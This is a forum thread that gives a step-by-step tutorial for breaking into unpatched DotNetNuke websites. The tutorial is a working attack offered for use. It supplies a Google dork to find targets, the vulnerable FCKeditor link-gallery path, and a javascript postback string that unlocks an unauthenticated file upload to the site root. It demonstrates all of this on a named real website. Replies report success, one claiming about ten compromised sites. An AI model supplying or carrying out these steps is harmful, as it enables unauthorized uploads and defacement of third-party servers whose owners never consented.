[BlackXS]

How to Hack Website vulnerable to DNN
Hello frnds...

Today I am going to share you how to hack websites which are vulnerable to DNN (dot net nuke)..

What is DNN??
The websites which are made using Microsoft .net framework 2.0 and which do not have upgraded will be vulnerable to DNN. Using a simple java script u can hack those websites and upload u r contents from hard disk or give external link which will be uploaded in their server and u can visit those web pages and access those stuff from web

Please note that this is only for education purposes and do not misuse it, I am not responsible for any problem caused using it.

Step:1 How to find sites that are vulnerable to DNN

We need to take the help of Google Dork to find the sites vulnerable to DNN.
Search This Dork

:inurl:/tabid/36/language/en-US/Default.aspx

See The Results And Target Any site

You Will See This Part In Every Site That You Searched For

/Home/tabid/36/Language/en-US/Default.aspx

[img]http://2.bp.blogspot.com/_3vsxAXm7pKw/TFg7V-AhJKI/AAAAAAAAALE/uzIpdMlncA8/s400/1.png[/img]


After this we selected the first site in google search and visited its homepage. The homepage is as follows

[img]http://4.bp.blogspot.com/_3vsxAXm7pKw/TFg7YSiTE2I/AAAAAAAAALI/7R55Lb_8JnM/s400/2.PNG[/img]


Now u can see that the homepage URL is http://www.essegielle.it

just paste "/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx"

so now the URL becomes "http://www.essegielle.it/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx"

u will get following screen

[img]http://1.bp.blogspot.com/_3vsxAXm7pKw/TFg9Qp3oitI/AAAAAAAAALM/BOZxlUpCc4c/s400/3.PNG[/img]

now use a java script "javascript:__doPostBack('ctlURL$cmdUpload','')"

just copy and paste the java script in the URL and hit enter u get the upload screen as follows
[img]http://3.bp.blogspot.com/_3vsxAXm7pKw/TFg-DgClOHI/AAAAAAAAALQ/WEIYAc8W08s/s400/4.PNG[/img]

After putting the javascript u get the browse button, now u have to just browse the file from ur hard didk and the click on "Trasferisci" ... since this is foreign website we get this.. otherwise u get a option known as upload

U can upload the files directly to the root folder of the admin hosting account...

n once u have uploaded the file ur done... u can see that file by visiting "sitename.com/portals/0/yourfile.yourfile format"

We have done it see...
[img]http://3.bp.blogspot.com/_3vsxAXm7pKw/TFhAZ2PUZfI/AAAAAAAAALU/C7ORmx-T58E/s400/Capture.PNG[/img]

Be a Fan

[Bold1]

i think this were posted somewhere here i remember when i were new i saw this and tried it dont work very much so ye...

[BlackXS]

it's work Now jUst try :)

---

it's a new Tuto By me and a Friend ;)
enjoy

[phinuss]

just work 1 site....

:'(

[axmetmcl]

thanks but it s too old. about 2009 / 06 /

[HIP HOP MAN]

it works i got about 10 sites with this !!!